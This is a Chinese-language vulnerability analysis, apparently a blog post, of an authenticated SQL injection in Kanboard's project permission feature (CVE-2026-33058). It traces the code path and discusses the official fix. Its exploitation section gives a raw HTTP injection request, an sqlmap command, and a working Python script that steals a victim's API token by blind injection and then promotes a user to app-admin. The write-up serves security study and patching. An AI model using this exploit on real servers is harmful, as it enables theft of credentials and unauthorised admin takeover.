Kanboard 认证SQL注入漏洞(CVE-2026-33058)
基本信息
漏洞概述
Kanboard 是一款专注于看板方法的开源项目管理软件。
在其项目成员管理功能中,由于对添加用户到项目时的输入参数未进行充分的转义或参数化处理,导致存在 SQL 注入漏洞。
具有项目用户管理权限的攻击者可通过构造恶意的 SQL 语句,绕过正常的逻辑执行非法查询,从而导出包括用户信息、任务详情在内的整个数据库内容。
修复方案
官方修复
将组件 kanboard 升级至 1.2.51 及以上版本
参考链接
漏洞分析
我们先搞清楚这个项目的文件架构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 kanboard/ ├── app/ │ ├── Core/ | ├── Controller/ │ ├── Model/ │ ├── View/ │ ├── ServiceProvider/ │ ├── Event/ │ ├── Auth/ │ └── Api/ ├── assets/ ├── plugins/ ├── vendor/ └── config/
个人习惯从Controller看起,咱们先从任意一个app/Controller/*.php开始走一遍GET请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 app/Controller/ActionController public function index ( ) { $project = $this ->getProject (); $actions = $this ->actionModel->getAllByProject ($project ['id' ]); $this ->response->html ($this ->helper->layout->project ('action/index' , array ( 'values' => array ('project_id' => $project ['id' ]), 'project' => $project , 'actions' => $actions , 'available_actions' => $this ->actionManager->getAvailableActions (), 'available_events' => $this ->eventManager->getAll (), 'available_params' => $this ->actionManager->getAvailableParameters ($actions ), 'columns_list' => $this ->columnModel->getList ($project ['id' ]), 'users_list' => $this ->projectUserRoleModel->getAssignableUsersList ($project ['id' ]), 'projects_list' => $this ->projectUserRoleModel->getProjectsByUser ($this ->userSession->getId ()), 'colors_list' => $this ->colorModel->getList (), 'categories_list' => $this ->categoryModel->getList ($project ['id' ]), 'links_list' => $this ->linkModel->getList (0 , false ), 'swimlane_list' => $this ->swimlaneModel->getList ($project ['id' ]), 'title' => t ('Automatic actions' ) ))); }
咱们跟进getAllByProject($project['id'])
1 2 3 4 5 6 public function getAllByProject ($project_id ) { $actions = $this ->db->table (self ::TABLE )->eq ('project_id' , $project_id )->findAll (); $params = $this ->actionParameterModel->getAllByActions (array_column ($actions , 'id' )); return $this ->attachParamsToActions ($actions , $params ); }
继续顺着$this->db往里追,找到了核心文件libs/picodb/lib/PicoDb/Database.php。它内部用到了PDO::prepare和PDOStatement::bindParam,看上去做了参数化查询,按理说能防注入。但问题不在这
关键在Table::findAll()这类最终执行查询的方法里。
1 2 3 4 5 6 7 8 9 10 11 public function findAll ( ) { $rq = $this ->db->execute ($this ->buildSelectQuery (), $this ->conditionBuilder->getValues ()); $results = $rq ->fetchAll (PDO::FETCH_ASSOC ); if (is_callable ($this ->callback) && ! empty ($results )) { return call_user_func ($this ->callback, $results ); } return $results ; }
在真正执行前,它会先构建SQL查询字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public function buildSelectQuery ( ) { if (empty ($this ->sqlSelect)) { $this ->columns = $this ->db->escapeIdentifierList ($this ->columns, $this ->name); $this ->sqlSelect = ($this ->distinct ? 'DISTINCT ' : '' ).(empty ($this ->columns) ? '*' : implode (', ' , $this ->columns)); } $this ->groupBy = $this ->db->escapeIdentifierList ($this ->groupBy); return trim (sprintf ( 'SELECT %s %s FROM %s %s %s %s %s %s %s %s' , $this ->sqlTop, $this ->sqlSelect, $this ->db->escapeIdentifier ($this ->name), implode (' ' , $this ->joins), $this ->conditionBuilder->build (), empty ($this ->groupBy) ? '' : 'GROUP BY ' .implode (', ' , $this ->groupBy), $this ->sqlOrder, $this ->sqlLimit, $this ->sqlOffset, $this ->sqlFetch )); }
注意到这里面的escapeIdentifierList()方法,大概意思是关于跳过认证的方法,跟进一手
1 2 3 4 5 6 7 8 public function escapeIdentifierList (array $identifiers , $table = '' ) { foreach ($identifiers as $key => $value ) { $identifiers [$key ] = $this ->escapeIdentifier ($value , $table ); } return $identifiers ; }
继续跟进escapeIdentifier
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function escapeIdentifier ($value , $table = '' ) { if (strpos ($value , '.' ) !== false || strpos ($value , ' ' ) !== false ) { return $value ; } if (preg_match ('/^[a-z0-9_]+$/' , $value ) === 0 ) { throw new SQLException ('Invalid identifier: ' .$value ); } if (! empty ($table )) { return $this ->driver->escape ($table ).'.' .$this ->driver->escape ($value ); } return $this ->driver->escape ($value ); }
这里有个判断,当他传入的$value里存在空格或者点号时,他会跳过检测直接返回结果,这是一个漏洞利用点(sink)
我们需要寻找漏洞入口点(source)以及连接sink与source的利用链(flow)
即找那些函数用到了escapeIdentifier而且第一个参数用户可控,全局查找->escapeIdentifier
最终我们找到了lib/picdb/lib/PicoDb/Builder/ConditionBuilder.php#eq()
1 2 3 4 5 public function eq ($column , $value ) { $this ->addCondition ($this ->db->escapeIdentifier ($column ).' = ?' ); $this ->values[] = $value ; }
然后我们全局搜寻->eq($,用来寻找第一个参数可控的函数
最终我们找到的一个绝佳的利用函数app/Model/UserModel.php#getOrCreateExternalUserId
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function getOrCreateExternalUserId ($username , $name , $externalIdColumn , $externalId ) { $userId = $this ->db->table (self ::TABLE )->eq ($externalIdColumn , $externalId )->findOneColumn ('id' ); if (empty ($userId )) { $userId = $this ->create (array ( 'username' => $username , 'name' => $name , 'is_ldap_user' => 1 , $externalIdColumn => $externalId , )); } return $userId ; }
再次查找谁调用了它
app/Controller/ProjectPermissionController.php#addUser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function addUser ( ) { $this ->checkCSRFForm (); $project = $this ->getProject (); $values = $this ->request->getValues (); if (empty ($values ['user_id' ]) && ! empty ($values ['external_id' ]) && ! empty ($values ['external_id_column' ])) { $values ['user_id' ] = $this ->userModel->getOrCreateExternalUserId ($values ['username' ], $values ['name' ], $values ['external_id_column' ], $values ['external_id' ]); } if (empty ($values ['user_id' ])) { $this ->flash->failure (t ('User not found.' )); } elseif ($this ->projectUserRoleModel->addUser ($project ['id' ], $values ['user_id' ], $values ['role' ])) { $this ->flash->success (t ('Project updated successfully.' )); } else { $this ->flash->failure (t ('Unable to update this project.' )); } $this ->response->redirect ($this ->helper->url->to ('ProjectPermissionController' , 'index' , array ('project_id' => $project ['id' ]))); }
最终回到*Controller,这是漏洞入口点(source),刚才我们搜索的过程是利用链(flow)
漏洞利用
既然整个利用链都找齐了,我们看怎么使用吧
POC1
抓包内容
1 2 3 4 5 6 POST /?controller=ProjectPermissionController&action=addUser&project_id=1 HTTP/1.1 Cookie : your_cookieHost : 127.0.0.1:8080Content-Type : application/www-form-urlencodedcsrf_token=your_token&user_id =&external_id =yyy&external_id_column =(SELECT %20OH%20NOES!!!11)%3b--%20-&name =xxx&role =xxx
漏洞发现者利用视频:https://github.com/user-attachments/assets/9d49cdaf-3091-4ac1-8bc8-34dfb5133e51
1 2 3 4 5 6 7 sqlmap --url 'http://localhost/?controller=ProjectPermissionController&action=addUser&project_id=1' \ -H 'Cookie: KB_SID=...; KB_RM=...' \ --data 'csrf_token=csrf_token&user_id=&username=admin&external_id=dummy&external_id_column=dummy&name=admin&role=project-member' \ -p 'external_id_column' \ --dbms sqlite \ --tables \ --flush-session
POC2
利用SQL注入,窃取数据库里高权限用户的API Key,实现权限提升
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import stringimport bs4import argparseimport requestsdef main (args ): base_url = args.url.rstrip("/" ) cookie = args.cookie if args.cookie.lower().startswith("cookie: " ): cookie = args.cookie[8 :] with requests.Session() as session: session.verify = False session.headers.update({"Cookie" : cookie}) response = session.get(f"{base_url} /project/{args.project_id} /permissions" ) soup = bs4.BeautifulSoup(response.text, features="html.parser" ) csrf = "" for form in soup.find_all("form" ): action = form.get("action" ) if "controller=ProjectPermissionController&action=addUser" in action: csrf = form.find("input" , attrs={"name" : "csrf_token" }).get("value" ) break if csrf == "" : print ("failed to find csrf token" ) return def send_sqli (payload: str ) -> bool : response = session.post( f"{base_url} /?controller=ProjectPermissionController&action=addUser&project_id={args.project_id} " , data={ "csrf_token" : csrf, "user_id" : "" , "username" : "dummy" , "external_id" : "dummy" , "external_id_column" : payload, "name" : "dummy" , "role" : "dummy" , }, allow_redirects=False , ) return response.status_code == 302 print (f"Looking for API key for {args.victim_username} ..." ) chars = [] no_key = True for idx in range (1 , 61 ): for c in string.hexdigits[:-6 ]: response = send_sqli( f"(CASE WHEN (SELECT substr(api_access_token, {idx} , 1)='{c} ' FROM users WHERE username = '{args.victim_username} ' LIMIT 1) THEN 'dummy' ELSE NULL END)" ) if response: no_key = False chars.append(c) break if no_key: print (f"No api key found for: {args.victim_username} " ) return api_key = "" .join(chars) print (f"found {args.victim_username} api key: {api_key} " ) print (f"Adding user {args.user_id} to admins..." ) requests.post( f"{base_url} /jsonrpc.php" , auth=(args.victim_username, api_key), json={ "jsonrpc" : "2.0" , "method" : "updateUser" , "id" : 322123657 , "params" : {"id" : args.user_id, "role" : "app-admin" }, }, ) if __name__ == "__main__" : ap = argparse.ArgumentParser() ap.add_argument("-t" , "--url" , required=True ) ap.add_argument("-p" , "--project-id" , required=True , type =int ) ap.add_argument("-c" , "--cookie" , required=True ) ap.add_argument("-v" , "--victim-username" , required=True ) ap.add_argument("-i" , "--user-id" , required=True , type =int ) args = ap.parse_args() main(args)
修复分析
官方对getOrCreateExternalUserId添加了一个if分支
isValidIdentifier方法是官方在1.2.51里新增的判断特殊字符的方法,用来检测是否在传入参数里存在特殊字符,从而避免SQL注入
1 2 3 4 public function isValidIdentifier ($value ) { return preg_match ('/^[a-z0-9_]+$/' , $value ) === 1 ; }
这样分别在escapeIdentifier(sink),getOrCreateExternalUserId(flow)里拦截SQL注入